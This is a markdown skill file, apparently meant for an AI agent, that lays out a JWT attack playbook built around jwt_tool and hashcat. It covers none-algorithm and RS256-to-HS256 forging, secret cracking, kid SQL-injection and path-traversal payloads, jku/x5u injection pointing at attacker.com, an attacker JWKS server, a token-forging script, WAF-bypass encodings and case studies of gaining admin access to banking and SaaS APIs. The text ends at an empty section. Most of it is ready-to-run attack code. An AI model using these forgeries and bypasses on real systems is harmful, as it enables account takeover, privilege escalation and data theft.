---
name: rt-exploit-jwt
description: "JWT (JSON Web Token) attack skill. Covers algorithm confusion (RS256 to HS256 with public key), none algorithm attack, weak secret brute force (hashcat mode 16500), kid injection (SQL/path traversal), JWK injection, JWKS spoofing, and JWT expiry manipulation. Tool: jwt_tool."
---

# rt-exploit-jwt — JWT Attack Skill

## 1. Overview

JSON Web Tokens (JWTs) are a compact, URL-safe means of representing claims between parties. They are widely used for authentication and authorization in modern web applications. Due to their complexity and frequent misimplementation, JWTs are a high-value target during red team engagements.

A JWT consists of three Base64URL-encoded parts separated by dots:

```
HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SIGNATURE
```

**Header** — specifies the algorithm and token type
**Payload** — contains claims (subject, role, expiry, etc.)
**Signature** — cryptographic proof of integrity

### Attack Surface

| Vulnerability | Impact | Prevalence |
|---|---|---|
| Algorithm confusion (RS256 -> HS256) | Authentication bypass, privilege escalation | High |
| None algorithm | Full authentication bypass | Medium |
| Weak secret brute force | Full token forgery | High |
| `kid` SQL injection | RCE / auth bypass | Medium |
| `kid` path traversal | Auth bypass | Medium |
| JWK injection | Full token forgery | Medium |
| JWKS spoofing | Full token forgery | Low-Medium |
| Expiry manipulation | Session extension | High |
| `x5u` / `jku` header injection | Full token forgery | Medium |

### Primary Tool: jwt_tool

```
https://github.com/ticarpi/jwt_tool
```

jwt_tool is the de-facto standard CLI for JWT manipulation, tampering, and testing. It supports all major attack classes and produces ready-to-use tampered tokens.

### Supporting Tools

- `hashcat` — GPU-accelerated secret brute force (mode 16500)
- `john` — CPU-based secret brute force
- `openssl` — key generation, public key extraction
- `python3` / `PyJWT` — scripted token manipulation
- `jose` (npm) — JavaScript JWT utilities
- `Burp Suite` — intercept and replay tampered tokens

---

## 2. Skill Levels

### BEGINNER

Focus: Capture a JWT, decode it, understand its structure, perform none-algorithm and basic brute-force attacks.

**Prerequisites**
- Python 3.8+
- jwt_tool installed
- A valid JWT token from the target application

**Key commands**

```bash
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt

# Decode and inspect a token (no verification)
python3 jwt_tool.py <TOKEN>

# Pretty-print decoded token
python3 jwt_tool.py <TOKEN> -p

# Check for none algorithm vulnerability
python3 jwt_tool.py <TOKEN> -X a

# Try common weak secrets (built-in wordlist)
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/jwt-secrets.txt
```

**What to look for in the decoded header**
- `"alg": "RS256"` or `"alg": "ES256"` — asymmetric, check for confusion attacks
- `"alg": "HS256"` — symmetric, attempt brute force
- `"kid"` present — check for injection
- `"jku"` or `"x5u"` present — check for header injection
- Short expiry (`"exp"`) — note for manipulation

---

### INTERMEDIATE

Focus: Algorithm confusion attacks, expiry tampering, basic kid injection, JWKS endpoint reconnaissance.

**Prerequisites**
- Public key of the target (obtained via JWKS endpoint, TLS certificate, or source code)
- Understanding of RS256 vs HS256 mechanics

**Key commands**

```bash
# Fetch JWKS from a common endpoint
curl -s https://target.com/.well-known/jwks.json | jq .
curl -s https://target.com/api/.well-known/jwks.json | jq .
curl -s https://target.com/auth/realms/master/protocol/openid-connect/certs | jq .

# Extract public key from JWKS (convert n,e to PEM)
python3 jwt_tool.py <TOKEN> --jwks https://target.com/.well-known/jwks.json

# RS256 to HS256 confusion attack using public key file
python3 jwt_tool.py <TOKEN> -X k -pk public.pem

# Tamper payload (change role to admin) and resign with confusion
python3 jwt_tool.py <TOKEN> -X k -pk public.pem -I -pc role -pv admin

# None algorithm — strip signature
python3 jwt_tool.py <TOKEN> -X a

# Expire time manipulation (set exp 24h in future)
python3 jwt_tool.py <TOKEN> -I -pc exp -pv 9999999999

# Tamper sub claim to another user ID
python3 jwt_tool.py <TOKEN> -I -pc sub -pv admin

# Scan all vulnerabilities automatically
python3 jwt_tool.py <TOKEN> -t https://target.com/api/protected -rh "Authorization: Bearer <TOKEN>" --scan
```

---

### ADVANCED

Focus: kid SQL injection, kid path traversal, JWK set injection, jku/x5u header injection, custom claims, scripted attacks.

**Prerequisites**
- Burp Suite (or mitmproxy) to intercept and replay
- Attacker-controlled server for JWKS hosting
- OpenSSL for key pair generation
- Understanding of SQL and file system paths

**Key commands**

```bash
# kid SQL injection — make HMAC secret a known value
# The server query: SELECT secret FROM secrets WHERE kid = '<KID>'
# Inject: ' UNION SELECT 'attacker_secret' --
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "x' UNION SELECT 'attacker_secret'-- -" -S hs256 -p attacker_secret

# kid path traversal — point kid to /dev/null (empty secret)
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../../../../dev/null" -S hs256 -p ""

# kid path traversal — point to a known file (e.g., /proc/sys/kernel/randomize_va_space)
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

# JWK injection — embed attacker key in header
# First generate a key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem

# Inject JWK set into token header
python3 jwt_tool.py <TOKEN> -X i

# jku header injection — point to attacker-hosted JWKS
python3 jwt_tool.py <TOKEN> -X s -ju https://attacker.com/jwks.json

# x5u header injection
python3 jwt_tool.py <TOKEN> -X u -xu https://attacker.com/x5u.pem

# Fuzz all header and payload parameters
python3 jwt_tool.py <TOKEN> -t https://target.com/api/protected -rh "Authorization: Bearer <TOKEN>" -M pb

# Tamper multiple claims simultaneously
python3 jwt_tool.py <TOKEN> -I -pc role -pv admin -pc sub -pv 1 -pc email -pv admin@target.com
```

---

### EXPERT

Focus: Chained attacks, automation, WAF bypass, custom Python exploits, engagement-grade documentation, edge cases.

**Prerequisites**
- Full understanding of JWT RFC 7519, 7517, 7518
- Custom exploit scripting in Python
- Red team infrastructure for JWKS hosting

**Key commands**

```bash
# Full automated scan with verbose output and all tamper modes
python3 jwt_tool.py <TOKEN> -t https://target.com/api/v1/me \
  -rh "Authorization: Bearer <TOKEN>" \
  -rh "X-Custom-Header: value" \
  --scan -V 2>&1 | tee jwt_scan_$(date +%Y%m%d_%H%M%S).txt

# Hashcat mode 16500 — GPU crack HS256 secret
hashcat -a 0 -m 16500 <TOKEN> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <TOKEN> /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
hashcat -a 3 -m 16500 <TOKEN> "?a?a?a?a?a?a?a?a"  # Brute force up to 8 chars

# After cracking, forge a new token with any payload
python3 jwt_tool.py <TOKEN> -I -pc role -pv superadmin -S hs256 -p "CRACKED_SECRET"

# RS256 confusion — full workflow with extracted public key
# Step 1: Get the public key from JWKS
curl -s https://target.com/.well-known/jwks.json | python3 -c "
import sys, json, base64, struct
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

jwks = json.load(sys.stdin)
key = jwks['keys'][0]

def b64_to_int(s):
    b = base64.urlsafe_b64decode(s + '==')
    return int.from_bytes(b, 'big')

pub_numbers = RSAPublicNumbers(b64_to_int(key['e']), b64_to_int(key['n']))
pub_key = pub_numbers.public_key(default_backend())
pem = pub_key.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
" > extracted_public.pem

# Step 2: Perform confusion attack
python3 jwt_tool.py <TOKEN> -X k -pk extracted_public.pem -I -pc role -pv admin -pc sub -pv 1

# Extract public key from TLS certificate
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > tls_public.pem
python3 jwt_tool.py <TOKEN> -X k -pk tls_public.pem -I -pc role -pv admin
```

---

## 3. Step-by-Step Attack Workflow

### Phase 1 — Discovery

**Step 1: Capture a JWT**

Intercept traffic via Burp Suite. Look in:
- `Authorization: Bearer <TOKEN>` header
- `Cookie: token=<TOKEN>` or `Cookie: session=<TOKEN>`
- Response bodies from `/login`, `/auth`, `/token` endpoints

```bash
# Quick test with curl
curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"password"}' | jq .token
```

**Step 2: Decode the token**

```bash
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SIGNATURE"

python3 jwt_tool.py $TOKEN -p
```

Note:
- The `alg` field (determines attack path)
- The `kid` field (injection vector)
- The `jku`/`x5u`/`jwk` fields (injection vectors)
- Claims: `sub`, `role`, `admin`, `email`, `iss`, `aud`, `exp`, `iat`

**Step 3: Identify JWKS endpoints**

```bash
for path in \
  "/.well-known/jwks.json" \
  "/oauth/jwks" \
  "/auth/realms/master/protocol/openid-connect/certs" \
  "/api/auth/keys" \
  "/.well-known/openid-configuration" \
  "/api/.well-known/jwks.json" \
  "/v1/keys" \
  "/keys"; do
  echo -n "Trying $path: "
  curl -s -o /dev/null -w "%{http_code}" https://target.com$path
  echo
done
```

---

### Phase 2 — Algorithm Analysis

**Step 4: Check the algorithm**

```bash
# Decode header manually
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null
# Output: {"alg":"RS256","typ":"JWT"}
```

Decision tree:
- `RS256`, `RS384`, `RS512` → Try algorithm confusion (Step 5), JWK injection (Step 8)
- `HS256`, `HS384`, `HS512` → Try brute force (Step 6)
- `ES256`, `ES384` → Try none algorithm (Step 7), check for confusion
- `none` → Already vulnerable, skip to Step 7

---

### Phase 3 — Algorithm Confusion (RS256 -> HS256)

**Step 5: RS256 to HS256 confusion attack**

The library uses the RS256 public key as the HMAC secret when the algorithm is switched to HS256. If the server validates with the same key regardless of algorithm, this is exploitable.

```bash
# Obtain the public key (choose one method)

# Method A: From JWKS endpoint
curl -s https://target.com/.well-known/jwks.json > jwks.json
# Convert to PEM using jwt_tool or the Python script above

# Method B: From TLS certificate
echo | openssl s_client -connect target.com:443 2>/dev/null \
  | openssl x509 -pubkey -noout > public.pem

# Method C: From source code or configuration repository
# Search GitHub, GitLab, internal wikis for .pem or public key files

# Perform the confusion attack
python3 jwt_tool.py $TOKEN -X k -pk public.pem

# Confusion attack + payload modification
python3 jwt_tool.py $TOKEN -X k -pk public.pem \
  -I -pc role -pv administrator

# Confusion attack with multiple claim changes
python3 jwt_tool.py $TOKEN -X k -pk public.pem \
  -I -pc role -pv admin \
     -pc sub -pv 1 \
     -pc email -pv admin@target.com \
     -pc exp -pv 9999999999

# Test the forged token
FORGED="<OUTPUT_FROM_ABOVE>"
curl -s https://target.com/api/admin \
  -H "Authorization: Bearer $FORGED" | jq .
```

**Edge cases and variations**

```bash
# Try with PKCS#1 format if PKCS#8 fails
openssl rsa -pubin -in public.pem -RSAPublicKey_out -out public_pkcs1.pem
python3 jwt_tool.py $TOKEN -X k -pk public_pkcs1.pem

# The key may be embedded in the JWKS n/e parameters
# Use jwt_tool's built-in JWKS fetch
python3 jwt_tool.py $TOKEN -X k --jwks https://target.com/.well-known/jwks.json
```

---

### Phase 4 — Weak Secret Brute Force

**Step 6: Crack HS256 secret with hashcat**

```bash
# Save token to file (hashcat requires the full JWT)
echo "$TOKEN" > jwt.txt

# Mode 16500 = JWT
# Common wordlists
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/common-passwords.txt
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/darkweb2017-top10000.txt

# With rules (significantly increases coverage)
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Brute force short secrets (up to 6 chars)
hashcat -a 3 -m 16500 jwt.txt "?a?a?a?a?a?a"

# Brute force digits only (common for dev environments)
hashcat -a 3 -m 16500 jwt.txt "?d?d?d?d?d?d?d?d"

# Combinator attack — combine two wordlists
hashcat -a 1 -m 16500 jwt.txt wordlist1.txt wordlist2.txt

# john alternative
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool built-in cracking (slower, good for quick checks)
python3 jwt_tool.py $TOKEN -C -d /path/to/wordlist.txt

# After cracking — forge token
CRACKED_SECRET="mysecret"
python3 jwt_tool.py $TOKEN -I -pc role -pv admin -S hs256 -p "$CRACKED_SECRET"
```

**Custom JWT secret wordlist generation**

```bash
# Common JWT secrets developers use
cat > jwt_secrets.txt << 'EOF'
secret
password
123456
jwt_secret
jwt-secret
your-256-bit-secret
your-secret-key
supersecret
changeme
default
key
private
signing-key
auth-secret
application-secret
APP_SECRET
JWT_SECRET
jwtSecret
jwtSigningKey
EOF

# Combine with company name and domain variations
echo "targetcompany" >> jwt_secrets.txt
echo "targetcompany123" >> jwt_secrets.txt
echo "target_jwt_secret" >> jwt_secrets.txt
```

---

### Phase 5 — None Algorithm Attack

**Step 7: Remove the signature**

Some libraries accept `alg: none` as valid, bypassing signature verification entirely.

```bash
# jwt_tool none algorithm attack
python3 jwt_tool.py $TOKEN -X a

# jwt_tool will produce several variants
# Try all of them:
# - alg: none
# - alg: None
# - alg: NONE
# - alg: nOnE

# Manual construction (Python)
python3 << 'EOF'
import base64, json

token = "YOUR_TOKEN_HERE"
parts = token.split(".")

# Decode header and modify
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
header["alg"] = "none"
new_header = base64.urlsafe_b64encode(json.dumps(header, separators=(',',':')).encode()).rstrip(b'=').decode()

# Decode payload and modify
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
payload["role"] = "admin"
payload["exp"] = 9999999999
new_payload = base64.urlsafe_b64encode(json.dumps(payload, separators=(',',':')).encode()).rstrip(b'=').decode()

# Forged token with empty signature
forged = f"{new_header}.{new_payload}."
print(forged)

# Also try with trailing dot variations
print(f"{new_header}.{new_payload}")
EOF
```

---

### Phase 6 — kid Injection

**Step 8: kid SQL injection**

The `kid` (key ID) header tells the server which key to use. If the server queries a database using this value without sanitization:

```sql
-- Server code (vulnerable)
SELECT secret FROM keys WHERE kid = '<kid_value>'
```

```bash
# Basic UNION SELECT injection — inject a known secret
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "' UNION SELECT 'attacker_controlled_secret'-- -" \
  -S hs256 -p "attacker_controlled_secret"

# SQLite syntax
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "' UNION SELECT 'pwned' FROM sqlite_master-- -" \
  -S hs256 -p "pwned"

# PostgreSQL syntax
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "' UNION SELECT 'pwned'::text-- -" \
  -S hs256 -p "pwned"

# MySQL syntax
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "' UNION SELECT 'pwned'#" \
  -S hs256 -p "pwned"

# Boolean-based blind (confirm injection)
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "' AND '1'='1" \
  -S hs256 -p ""

# Time-based blind (MySQL)
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "' AND SLEEP(5)-- -" \
  -S hs256 -p ""
```

**Step 9: kid path traversal**

```bash
# Point kid to /dev/null — empty HMAC secret
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "../../../../../../dev/null" \
  -S hs256 -p ""

# Point to /proc/sys/kernel/randomize_va_space (value: "2\n")
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "../../../../proc/sys/kernel/randomize_va_space" \
  -S hs256 -p "2"

# Point to a static file you know the content of
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "../../../etc/hostname" \
  -S hs256 -p "$(cat /etc/hostname 2>/dev/null || echo 'localhost')"

# Point to /etc/passwd (first line as secret)
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "../../../etc/passwd" \
  -S hs256 -p "root:x:0:0:root:/root:/bin/bash"

# Windows path traversal
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "..\\..\\..\\..\\windows\\win.ini" \
  -S hs256 -p ""

# URL-encoded path traversal (WAF bypass)
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "..%2F..%2F..%2F..%2Fdev%2Fnull" \
  -S hs256 -p ""
```

---

### Phase 7 — JWK/JWKS Injection

**Step 10: JWK set injection**

If the server trusts a `jwk` or `jku` header parameter without validation, an attacker can provide their own key for signature verification.

```bash
# Generate attacker key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem

# JWK injection — embed JWK in token header
python3 jwt_tool.py $TOKEN -X i

# This will:
# 1. Generate a new RSA key pair
# 2. Embed the public key as JWK in the header
# 3. Sign with the private key
# 4. Output the forged token

# Modify payload during JWK injection
python3 jwt_tool.py $TOKEN -X i \
  -I -pc role -pv admin -pc sub -pv 1

# jku injection — host your own JWKS
# Step 1: Generate key pair (if not already done)
python3 jwt_tool.py $TOKEN -X s -ju https://YOUR_SERVER/jwks.json

# Step 2: jwt_tool creates a jwks.json file
# Host it: python3 -m http.server 8080

# Step 3: Verify the server fetches your JWKS
# Monitor: nc -lvnp 80 or check server access logs
```

**Hosting a JWKS server**

```python
#!/usr/bin/env python3
# attacker_jwks_server.py
# Host a JWKS endpoint that returns your attacker key

from http.server import HTTPServer, BaseHTTPRequestHandler
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import json, base64, struct

# Generate key pair
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
    backend=default_backend()
)
public_key = private_key.public_key()
pub_numbers = public_key.public_key_numbers()

def int_to_base64(n):
    length = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(length, 'big')).rstrip(b'=').decode()

JWKS = {
    "keys": [{
        "kty": "RSA",
        "use": "sig",
        "kid": "attacker-key-1",
        "n": int_to_base64(pub_numbers.n),
        "e": int_to_base64(pub_numbers.e),
        "alg": "RS256"
    }]
}

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(JWKS).encode())

# Save private key for signing
with open("attacker_private.pem", "wb") as f:
    f.write(private_key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.TraditionalOpenSSL,
        serialization.NoEncryption()
    ))

print("Private key saved to attacker_private.pem")
print(f"JWKS: {json.dumps(JWKS, indent=2)}")
HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()
```

---

### Phase 8 — Expiry Manipulation

**Step 11: Extend token lifetime**

```bash
# Set exp to year 2286 (Unix timestamp 9999999999)
python3 jwt_tool.py $TOKEN -I -pc exp -pv 9999999999

# Remove exp claim entirely (if library allows)
python3 << 'EOF'
import base64, json, hmac, hashlib

token = "YOUR_HS256_TOKEN"
secret = "KNOWN_SECRET"
parts = token.split(".")

payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
del payload["exp"]  # Remove expiry
del payload["iat"]  # Remove issued-at

new_payload = base64.urlsafe_b64encode(
    json.dumps(payload, separators=(',',':')).encode()
).rstrip(b'=').decode()

signing_input = f"{parts[0]}.{new_payload}"
sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
new_sig = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()

print(f"{signing_input}.{new_sig}")
EOF

# If none algorithm works, exp can be freely set
python3 jwt_tool.py $TOKEN -X a -I -pc exp -pv 9999999999
```

---

## 4. Specific Terminal Commands

### jwt_tool Quick Reference

```bash
# Basic operations
python3 jwt_tool.py <TOKEN>                        # Decode and display
python3 jwt_tool.py <TOKEN> -p                     # Pretty-print claims
python3 jwt_tool.py <TOKEN> -V -pk public.pem      # Verify signature
python3 jwt_tool.py <TOKEN> -T                      # Tamper wizard (interactive)

# Tamper (inject) claims
python3 jwt_tool.py <TOKEN> -I -pc <CLAIM> -pv <VALUE>   # Payload claim
python3 jwt_tool.py <TOKEN> -I -hc <CLAIM> -hv <VALUE>   # Header claim

# Sign operations
python3 jwt_tool.py <TOKEN> -S hs256 -p "secret"         # Sign with HS256
python3 jwt_tool.py <TOKEN> -S rs256 -pr private.pem      # Sign with RS256
python3 jwt_tool.py <TOKEN> -S hs384 -p "secret"         # Sign with HS384
python3 jwt_tool.py <TOKEN> -S hs512 -p "secret"         # Sign with HS512

# Attack modes
python3 jwt_tool.py <TOKEN> -X a                   # None algorithm
python3 jwt_tool.py <TOKEN> -X k -pk public.pem    # RS256->HS256 confusion
python3 jwt_tool.py <TOKEN> -X i                   # JWK injection
python3 jwt_tool.py <TOKEN> -X s -ju <URL>         # jku spoofing
python3 jwt_tool.py <TOKEN> -X u -xu <URL>         # x5u spoofing

# Cracking
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt     # Dictionary crack

# Scanning
python3 jwt_tool.py <TOKEN> -t <URL> -rh "Authorization: Bearer <TOKEN>" --scan
python3 jwt_tool.py <TOKEN> -t <URL> -rh "Authorization: Bearer <TOKEN>" -M pb  # Playbook

# Proxy through Burp
python3 jwt_tool.py <TOKEN> -t <URL> --proxy http://127.0.0.1:8080 --scan

# Output results to file
python3 jwt_tool.py <TOKEN> -t <URL> --scan -o json > results.json
```

### Python Script — Full Token Forge

```python
#!/usr/bin/env python3
"""
forge_jwt.py — Forge a JWT with any algorithm and claims
Usage: python3 forge_jwt.py <original_token> <secret_or_key_file>
"""
import sys, json, base64, hmac, hashlib
from datetime import datetime, timedelta

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    return base64.urlsafe_b64decode(s + '==')

def forge_hs256(token: str, secret: str, claim_overrides: dict) -> str:
    parts = token.split('.')
    header = json.loads(b64url_decode(parts[0]))
    payload = json.loads(b64url_decode(parts[1]))

    header['alg'] = 'HS256'
    payload.update(claim_overrides)
    payload['exp'] = int((datetime.utcnow() + timedelta(days=365)).timestamp())
    payload['iat'] = int(datetime.utcnow().timestamp())

    h = b64url_encode(json.dumps(header, separators=(',',':')).encode())
    p = b64url_encode(json.dumps(payload, separators=(',',':')).encode())
    signing_input = f"{h}.{p}"

    sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
    return f"{signing_input}.{b64url_encode(sig)}"

if __name__ == "__main__":
    token = sys.argv[1]
    secret = sys.argv[2]
    overrides = {"role": "admin", "sub": "1", "is_admin": True}
    forged = forge_hs256(token, secret, overrides)
    print(f"[+] Forged token:\n{forged}")
```

### Hashcat JWT Cracking

```bash
# Prepare hash file
echo "$TOKEN" > jwt.hash

# Standard wordlist attack
hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --status

# Wordlist + rules (recommended — 10x coverage)
hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/toggles1.rule

# Pure brute force up to 8 characters
hashcat -a 3 -m 16500 jwt.hash "?a?a?a?a?a?a?a?a" --increment --increment-min 1

# Mask attack — common patterns
hashcat -a 3 -m 16500 jwt.hash "?u?l?l?l?l?d?d?d?d"  # e.g. Pass1234
hashcat -a 3 -m 16500 jwt.hash "?l?l?l?l?l?l?d?d"     # e.g. secret12

# Check GPU status
hashcat -I

# Resume a session
hashcat -a 0 -m 16500 jwt.hash wordlist.txt --restore

# Show cracked
hashcat -m 16500 jwt.hash --show
```

---

## 5. Common Payloads and Examples

### Privilege Escalation Payloads

```json
// Original payload
{
  "sub": "user_123",
  "role": "user",
  "exp": 1716000000
}

// Target payload — basic admin
{
  "sub": "1",
  "role": "admin",
  "exp": 9999999999
}

// Target payload — Laravel/PHP apps
{
  "sub": 1,
  "is_admin": true,
  "role": "administrator",
  "exp": 9999999999
}

// Target payload — Node.js/Express
{
  "userId": 1,
  "username": "admin",
  "roles": ["admin", "superadmin"],
  "exp": 9999999999
}

// Target payload — Django REST framework
{
  "user_id": 1,
  "is_staff": true,
  "is_superuser": true,
  "exp": 9999999999
}
```

### kid Injection Payloads

```
' UNION SELECT 'pwned'-- -
' UNION SELECT 'pwned' FROM dual-- -
') UNION SELECT 'pwned'-- -
"; SELECT 'pwned'-- -
' OR '1'='1
../../../../../../dev/null
..%2F..%2F..%2F..%2Fdev%2Fnull
....//....//....//....//dev//null
../../../../../../proc/sys/kernel/randomize_va_space
/etc/passwd
C:\Windows\win.ini
```

### Header Injection Payloads (jku/x5u)

```
https://attacker.com/jwks.json
https://attacker.com/jwks.json#target.com
https://target.com.attacker.com/jwks.json
http://attacker.com/jwks.json
http://127.0.0.1:8080/jwks.json
http://169.254.169.254/jwks.json
file:///etc/passwd
```

---

## 6. Real-World Examples from Actual Engagements

### Case 1: SaaS Application — RS256 Confusion

**Scenario**: A SaaS application used RS256 for JWT signing. The JWKS endpoint was public.

```bash
# Step 1: Enumerate JWKS
curl -s https://api.target-saas.com/.well-known/jwks.json | jq .
# Output: {"keys":[{"kty":"RSA","use":"sig","kid":"key-2024","n":"...","e":"AQAB"}]}

# Step 2: Convert to PEM
python3 -c "
import json, base64
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

with open('jwks.json') as f:
    key = json.load(f)['keys'][0]

def b64i(s):
    return int.from_bytes(base64.urlsafe_b64decode(s + '=='), 'big')

pub = RSAPublicNumbers(b64i(key['e']), b64i(key['n'])).public_key(default_backend())
print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())
" > public.pem

# Step 3: Confusion attack — escalate to admin
python3 jwt_tool.py $USER_TOKEN -X k -pk public.pem -I -pc role -pv admin -pc sub -pv 1

# Result: Admin access achieved. Access to all tenant data.
```

### Case 2: Banking API — Weak HS256 Secret

**Scenario**: Internal banking API used JWT with HS256. Secret was "banking2024".

```bash
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywicm9sZSI6ImN1c3RvbWVyIn0.SIGNATURE"

# Custom wordlist including year + company variations
echo -e "banking2024\nbank2024\nBanking2024!\nsecret\npassword" > custom.txt
hashcat -a 0 -m 16500 $TOKEN custom.txt
# Cracked: banking2024

# Forge admin token
python3 jwt_tool.py $TOKEN \
  -I -pc role -pv admin \
     -pc userId -pv 1 \
     -pc exp -pv 9999999999 \
  -S hs256 -p "banking2024"

# Access admin endpoints
curl -H "Authorization: Bearer $FORGED" https://api.bank.com/admin/users
```

### Case 3: E-commerce Platform — kid Path Traversal

**Scenario**: JWT library loaded the key file using the `kid` value as a path directly.

```bash
# Test path traversal
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "../../../../dev/null" \
  -S hs256 -p ""

# Send to target
curl -H "Authorization: Bearer $FORGED" https://shop.target.com/api/orders?userId=1
# Result: Returned all orders for user ID 1 — auth bypass confirmed

# Escalate — set role to admin with empty key
python3 jwt_tool.py $TOKEN \
  -I -hc kid -hv "../../../../dev/null" \
     -pc role -pv admin \
  -S hs256 -p ""
```

### Case 4: Internal API — None Algorithm

**Scenario**: Legacy API deployed internally, using a JWT library version that accepted `alg: none`.

```bash
python3 jwt_tool.py $TOKEN -X a -I -pc is_admin -pv true -pc sub -pv 1

# Test all none variants
for t in $(python3 jwt_tool.py $TOKEN -X a 2>/dev/null | grep "eyJ"); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $t" \
    https://internal-api.target.com/admin)
  echo "Status: $STATUS for token variant"
done
```

### Case 5: SSO Platform — JWK Injection

**Scenario**: SSO platform trusted the `jwk` header parameter without validation.

```bash
# jwt_tool handles full JWK injection flow
python3 jwt_tool.py $TOKEN -X i -I -pc role -pv superadmin -pc sub -pv 1

# The tool will:
# 1. Generate RSA key pair
# 2. Embed public key as JWK in header
# 3. Sign token with new private key
# 4. Output forged token with embedded verification key
```

---

## 7. WAF Bypass Techniques

### Algorithm Field Bypass

```bash
# Case variations
alg: None
alg: NONE
alg: nOnE
alg: NoNe

# Extra characters
alg: "none "
alg: " none"
alg: "none\t"
alg: "none\n"
```

### kid Injection WAF Bypass

```bash
# URL encoding
kid: "..%2F..%2F..%2F..%2Fdev%2Fnull"

# Double URL encoding
kid: "..%252F..%252F..%252F..%252Fdev%252Fnull"

# Unicode encoding
kid: "..%u002F..%u002F..%u002Fdev%u002Fnull"

# Mixed slash types
kid: "....//....//....//dev//null"
kid: "..\/..\/..\/dev\/null"

# Null byte injection
kid: "..%00/..%00/..%00/dev/null"

# SQL injection WAF bypass (case variation)
kid: "' UnIoN SeLeCt 'pwned'-- -"
kid: "' /*!UNION*/ SELECT 'pwned'-- -"
kid: "' UNION%20SELECT 'pwned'-- -"
```

### JWT Size Bypass

```bash
# Add junk claims to inflate token size and confuse size-based WAFs
python3 jwt_tool.py $TOKEN -I \
  -pc role -pv admin \
  -pc junk1 -pv "$(python3 -c "print('A'*100)")" \
  -S hs256 -p "secret"
```

### HTTP Header Injection Bypass

```bash
# If WAF inspects Authorization header, try alternatives
curl -H "X-Auth-Token: $FORGED" https://target.com/api/admin
curl -H "X-JWT-Token: $FORGED" https://target.com/api/admin
curl -H "JWT: $FORGED" https://target.com/api/admin

# Cookie-based
curl -b "token=$FORGED" https://target.com/api/admin
curl -b "jwt=$FORGED" https://target.com/api/admin
curl -b "auth=$FORGED" https://target.com/api/admin

# Try in request body
curl -X POST https://target.com/api/admin \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"$FORGED\"}"
```

### JWKS URL WAF Bypass

```bash
